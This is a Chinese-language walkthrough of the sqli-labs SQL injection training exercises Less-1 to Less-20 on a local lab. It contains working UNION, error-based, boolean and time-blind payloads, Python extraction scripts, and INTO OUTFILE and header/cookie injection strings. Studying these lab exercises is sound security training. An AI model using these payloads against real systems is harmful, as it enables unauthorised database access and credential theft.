通过 sqli-labs 学习SQL注入

写在最前

SQLI定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

可能用到的函数解释

ORDER BY

  • ORDER BY 语句用于对结果集进行排序。
  • ORDER BY 语句默认按照升序对记录进行排序。

exists() 函数

  • 存在的话返回结果为:1(true)
  • 不存在的话返回结果:0(false)

mid() 函数

ord(mid())

mid(striing,start,length)

  • string : (必需)规定要返回其中一部分的字符串。

  • start : (必需)规定开始位置(起始值是 1)。

  • length : (可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

substr() 函数

ascii(substr())
substr(string,num start,num length);

  • string : 为字符串;

  • start : 为起始位置 ( mysql中的start是从1开始的 )

  • length : 为长度。

left() 函数

left(string,length)

  • string : (必需)规定要返回其中一部分的字符串

  • length : (可选) 规定被返回字符串的前length长度的字符

limit 函数

limit m,n

  • 从 m 开始取 n 个

if() 函数

在MySQL中,if()函数语法如下:

IF(expr1,expr2,expr3)

如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

sleep() 函数

在mysql中,sleep()函数语法如下:

sleep(seconds)

即sleep() 函数代码执行延迟若干秒。

我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。

benchmark() 函数

BENCHMARK(count,expr)

将表达式expr重复运行count次

在一定条件上能达到sleep()的效果

benchmark(10000000,null);

length() 函数

获得长度

1
2
3
4
5
6
mysql> select length(123456);
+----------------+
| length(123456) |
+----------------+
| 6 |
+----------------+

concat() 函数

concat(str1,str2,...)

没有分隔符的连接字符串

concat_ws() 函数

concat_ws(separator,str1,str2...)

含有分隔符的连接字符串

group_concat() 函数

group_concat(str1,str2,...)

连接一个组的所有字符串,并以逗号分隔每一条数据

load_file() 函数

load_file(file_name)

读取文件内容,可以将文件名转换成ASCII码或者十六进制的形式

ASCII码需要用char()函数,char(96,97)

十六进制前面要加上 0x

读取内容不显示的情况下,可以用hex()函数

hex(load_file())

insert() 函数

向数据库中增加一行

insert [into] 表名 [(列名1, 列名2, 列名3, ...)] values (值1, 值2, 值3, ...);

delete() 函数

删除数据库的内容

delete from 表名称 where 删除条件;

drop() 函数

删除结构

drop database 数据库名

drop tables 表名

alter() 函数

删除表中的列

alter table 表名 drop 列名称;

update() 函数

更新表中的数据

update 表名称 set 列名称=新值 where 更新条件;

环境搭建

搭建需要环境

apache + php + mysql

下载 phpstudy

百度 phpstudy 下载

源码下载地址

https://github.com/Audi-1/sqli-labs

安装sql-libs

  • 将下载的源码解压到 phpstudywww 目录下
  • 编辑下载源码中的 /sql-connections/db-creds.inc 文件
  • 将数据库的usernamepassword修改为你自己的mysql账号和密码(phpstudy中自带mysql环境用户名密码均为root
  • 访问 http://127.0.0.1/ 页面
  • 点击 Setup/reset Database for labs

配置文件截图

config

搭建成功截图

success

tips: 为了方便学习查看,可以在源码中的$sql下一句语句写上以下php语句(可以看到数据库查询的完整语句是怎么样的)

1
echo "你的 sql 语句是:".$sql."<br>";

开始闯关

Less-1 (UNION 注入)

判断是否存在注入

先加 ' 试试

less_1_1

报错

那是因为我们之前的语句闭合了前面的',而后面单一个',所以会报错

于是修改我们的payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1+--+

less_1_2

没有报错,可以返回正常数据,说明我们后面的注释起到了作用,把LIMIT 0,1'注释掉了

UNION 注入

判断列数

order by 4 出错

less_1_3

order by 3 不出错,说明有3

less_1_4

判断显位

首先应该查询显位,以便后面显示数据

http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3+--+

less_1_5

这里并没有显示出显位,所以我们再 id=1 中的 1 前面加上一个 -,让原来查询的数据不能显示出来,这样就可以让我们后面查询的1,2,3 可以显示出来

less_1_6

成功显示出显位数字,为 23,后续的查询结果都将在这2个地方显示

查询数据库名

1
2
3
4
5
version() --- 看数据库的版本
database() --- 查数据库名称
user() --- 查当前数据库用户的权限
@@version_compile_os --- 查看操作系统版本
@@datadir --- 数据库路径

可以查询的内容有如上,查询数据库名,我们选择database()

修改 2database()

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,database(),3+--+

less_1_7

可以看出数据库名字为 security

查询表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27+--+

less_1_8

也可以将最后的 'security' 换成十六进制

查询列名

假设我们只对 user 表感兴趣

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27+--+

less_1_9

同理也可以将最后的 'users' 换成十六进制

查询字段

假设这里我们只对 usernamepassword 感兴趣

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,username,password%20from%20users+--+

less_1_10

但是这里只有一个内容,如果想要所有内容,可以采用 limit 的方法来依次读取

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,username,password%20from%20users%20limit%200,1+--+

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,username,password%20from%20users%20limit%201,1+--+

或者用 group_concat() 函数来一次性输出所有内容

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users+--+

less_1_11

Less-2(UNION 注入)

判断注入类型

http://127.0.0.1/sqli-labs/Less-2/?id=1%27%20and%201=1%20+--+

报错

http://127.0.0.1/sqli-labs/Less-2/?id=1%20and%201=1%20+--+

不报错

说明这里接收的id参数类型为 int 型,也就是没有 ' 去闭合

判断列长

order by 4 报错

http://127.0.0.1/sqli-labs/Less-2/?id=1%20order%20by%204+--+

order by 3 不报错

http://127.0.0.1/sqli-labs/Less-2/?id=1%20order%20by%203+--+

其他步骤都和Less-1一样,就不写了

Less-3(UNION 注入)

判断注入类型

直接在末尾加 ',发现报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

有一个括号,所以尝试闭合一下括号

http://127.0.0.1/sqli-labs/Less-3/?id=1%27)%20and%201=1%20+--+

返回正常,后续也和上面2个题一样

Less-4(UNION 注入)

判断注入类型

这次我们判断用 id=1"

得到报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

说明也存在注入,这里的报错信息中,也有一个),而且和上一题相比,这个题用到的也是"

所以用")去闭合,构造

http://127.0.0.1/sqli-labs/Less-4/?id=1%22)%20and%201=1%20+--+

返回正常

后续步骤和之前几个题一样,就不多写了

Less-5(报错注入或盲注)

判断注入类型

末尾加上 ' 报错

加上 ' +--+ 返回正常,说明需要'来闭合

这里可以直接用 updatexml 报错注入

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)+--+

但是毕竟这题要用盲注,那就还是用盲注吧

这题虽然能用 order by得到列数,但是用UNION 联合查询时,无论怎样都不能得到显位

所以我们要采用盲注的方法

判断数据库长度

length(database()) > 8

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20length(database())%20%3E%208+--+

没有回显

length(database()) > 7

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20length(database())%20%3E%207+--+

正常回显

说明数据库长度为 8

判断数据库名称

之前已经得到数据库的长度为 8

判断第一位

>114 返回正常

1
http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20ascii(substr((select%20database()),1,1))%20%3E%20114+--+

>115 返回不正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20ascii(substr((select%20database()),1,1))%20%3E%20115+--+

说明数据库的第一位是 s(ascii码为 115)

因为每一次都这样验证很浪费时间,所以我们写脚本慢慢跑

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
import requests
database = ''
url = 'http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and ascii(substr((select database()),{times},1)) > {num}+--+'
for times in range(1,9):
for num in range(ord('a'),ord('z')+1):
content = requests.get(url.format(times=times,num=num)).text
if 'You' not in content:
database += chr(num)
print (database)
break
print (database)
1
2
3
4
5
6
7
8
9
s
se
sec
secu
secur
securi
securit
security
security

得到数据库名称为 security

判断表名长度

这里我打算先把查询出来的所有表名用逗号连接在一起,然后再算出总长度

>28 返回正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(table_name))%20from%20information_schema.tables%20where%20table_schema=%27security%27)%3E28%20+--+

>29 返回不正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(table_name))%20from%20information_schema.tables%20where%20table_schema=%27security%27)%3E29+--+

说明用逗号连接的所有表的长度为 29

判断所有表名

> 100 返回正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1))%3E100+--+

> 101 返回不正常

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>101+--+

所有第一位是 e

同样太麻烦,写脚本慢慢跑

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
database = ''
url = 'http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),{times},1))%3E{num}+--+'
nums = [n for n in range(ord('a'),ord('z')+1)]
nums.insert(0,ord(','))
for times in range(1,30):
for num in nums:
content = requests.get(url.format(times=times,num=num)).text
if 'You' not in content:
database += chr(num)
print (database)
break
print (database)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
e
em
ema
emai
email
emails
emails,
emails,r
emails,re
emails,ref
emails,refe
emails,refer
emails,refere
emails,referer
emails,referers
emails,referers,
emails,referers,u
emails,referers,ua
emails,referers,uag
emails,referers,uage
emails,referers,uagen
emails,referers,uagent
emails,referers,uagents
emails,referers,uagents,
emails,referers,uagents,u
emails,referers,uagents,us
emails,referers,uagents,use
emails,referers,uagents,user
emails,referers,uagents,users
emails,referers,uagents,users

判断列内容长度

> 19 返回正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(column_name))%20from%20information_schema.columns%20where%20table_name=%27users%27)%20%3E%2019+--+

> 20 返回不正常

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(column_name))%20from%20information_schema.columns%20where%20table_name=%27users%27)%20%3E%2020+--+

所以列的内容长度为 20

判断列的内容

刚才我们已经拿到表名,我们看中的是 users 这个表

所以我们仅对 users 进行猜解,现在依然用跑脚本的方法,拿到列名

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
database = ''
url = 'http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),{times},1))%3E{num}+--+'
nums = [n for n in range(ord('a'),ord('z')+1)]
nums.insert(0,ord(','))
for times in range(1,21):
for num in nums:
content = requests.get(url.format(times=times,num=num)).text
if 'You' not in content:
database += chr(num)
print (database)
break
print (database)

结果
id,username,passwor

判断字段内容给的长度

> 174 返回正常
http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(username,password))%20from%20users)%20%3E%20174+--+

> 174 返回不正常
http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20(select%20length(group_concat(username,password))%20from%20users)%20%3E%20175+--+

所以返回字段的内容长为 175

判断字段内容

脚本类似

最后的结果为

DumbDumb,AngelinaI-kill-you,[email protected],securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4

这样确实不太好看出来,所以可以采用

select group_concat(concat_ws(':',username,password)) from users

结果为

Dumb:Dumb,Angelina:I-kill-you,Dummy:[email protected],secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

Less-6(报错注入或盲注)

这里和上一个题几乎一样,只不过这里闭合用到的是 " 而已

http://127.0.0.1/sqli-labs/Less-6/?id=1%22%20+--+

后面就不在多写了,一个模子刻出来的

只需要把最后的 ' 换成 " 就可以了

Less-7(outfile)

进入题目,参数改成 id=1

得到回显

You are in.... Use outfile......

http://127.0.0.1/sqli-labs/Less-7/?id=1%27))%20and%20ascii(left(database(),1))%20%3E%2097+--+

这个题用上面的盲注也可以做出来,但这里要求用outfile,那就用吧

这里主要也是用到前面的 union 注入

当然实战中有写的权限基本都是直接写shell进去了

这里就随便演示一下吧

根据 order by 可知,有3列

  • 查数据库

http://127.0.0.1/sqli-labs/Less-7/?id=1%27))%20union%20select%201,(select%20database()),3%20into%20outfile%20%27D:\\phpStudy\\WWW\\sqli-labs\\123.txt%27+--+

结果

1
2
1 Dumb Dumb
1 security 3
  • 查表名

http://127.0.0.1/sqli-labs/Less-7/?id=1%27))%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),3%20into%20outfile%20%27D:\\phpStudy\\WWW\\sqli-labs\\123.txt%27+--+

结果

sqlilibs_7_1

后续操作就不再详细说了

Less-8(盲注)

Less-5 几乎是一模一样的,唯一的区别就是这里只能用盲注,而Less-5可以用报错注入

Less-9 (基于时间的盲注)

这个题无论怎么构造payload

永远都是

You are in...........

根据题目中的提示,我们可以知道这个是基于时间的盲注

和之前的盲注差不多,只不过要增加一个 if 语句

一样的写脚本跑,这里就只写跑数据库名字的吧,毕竟太浪费时间了

脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select database()),{num},1))>{asc},0,sleep(3)) +--+"
db_name = ''
for num in range(1,9):
for asc in range(ord('a'),ord('z')+1):
s_time = time.time()
requests.get(url.format(num=num,asc=asc))
e_time = time.time()
if (e_time-s_time) > 3:
db_name += chr(asc)
print (db_name)
break

结果

1
2
3
4
5
6
7
8
s
se
sec
secu
secur
securi
securit
security

Less-10 (基于时间的盲注)

和 Less-9 差不多,只不过这里闭合用的是 " , 而 Less-9用的是 '

Less-11(UNION注入和POST注入)

sqlilibs_11_1

这种登陆框的,一般都是 post注入,因为提交数据是post方式提交的,然后再进入数据库查询,所以过滤不严也会有注入的情况发生

所以我们登陆的时候利用bp抓包

然后 send to reapter

和以前一样,最先尝试 union 注入

先判断列数

order by 3 报错

sqlilibs_11_2

order by 2 返回正常

sqlilibs_11_3

说明有两列

后面就再演示一下查数据库名吧

sqlilibs_11_4

成功查出数据库名为 security

后面步骤和前面类似就不再赘述了

Less-12(UNION注入和POST注入)

sqlilibs_12_1

和上一个题一样,只不过这里闭合用到的是 ")

Less-13(POST注入、盲注、报错注入)

sqlilibs_13_1

如果在参数末尾直接输入',会报错,而报错信息中表名,闭合应该用 ')

所以我们继续尝试,但这个题,无论怎么输入,都没有显位,只有报错信息,所以可以考虑用盲注或者报错注入

虽然题目中所用的是盲注,但是能利用报错注入我们就避免使用盲注,因为盲注确实很浪费时间

得到数据库名

sqlilibs_13_2

后面方法与之前类似

Less-14(POST注入、盲注、报错注入)

和上个题类型一样,,只不过这里闭合用到的是"

sqlilibs_14_1

Less-15(POST注入和基于时间的盲注)

这个题,无论如何都不会有任何报错信息,也没有返回信息,所以这里我们就只能用到基于时间的盲注

sqlilibs_15_1

图中会延时10秒

Less-16(POST注入和基于时间的盲注)

和上一个题一样,只不过这里闭合所用到的是 ")

sqlilibs_16_1

Less-17(POST注入、盲注、报错注入)

和之前一样,先闭合前面一句的输入

这里没有在用户名处注入,是因为用户名输入的内容会经过一个check_input函数过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}

所以我们选择了 passwd 这个参数来进行注入

sqlilibs_17_1

这里 order by 用不了,无法得到列数,所以这里不能采用 UNION 注入

于是乎采用报错注入或者盲注

因为自己比较懒,所以这里还是用报错注入来吧

sqlilibs_17_2

成功得到数据库名称

Less-18 (UA 注入)

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

根据源码,这里会将 uagents 写入数据库,也就是我们的User-Agent

这里仍然抓包

我们先用'闭合 uagent前面的',然后插入我们报错注入的语句,因为这个语句不能直接给后面注释掉,要让后面的正常运行,所以我们还要闭合uagents后面的',所以,就构成了我们的 payload

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' = '1

sqlilibs_18_1

后续其他数据类似

Less-19 (Referer 注入)

和上一个题类似,只不过这里注入是 referer 的注入,只需要将 referer 的内容改成我们上一题的 payload 即可

Less-20 (cookie 注入)

和以前一样,登陆过程中抓包

sqlilibs_20_1

发现登陆成功后有一个cookie的值

再次刷新页面,拿到cookie,在通过构造cookie成功注入

这里仍然用的是报错注入

sqlilibs_20_2

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2018 Damit5's Blog All Rights Reserved.

UV : | PV :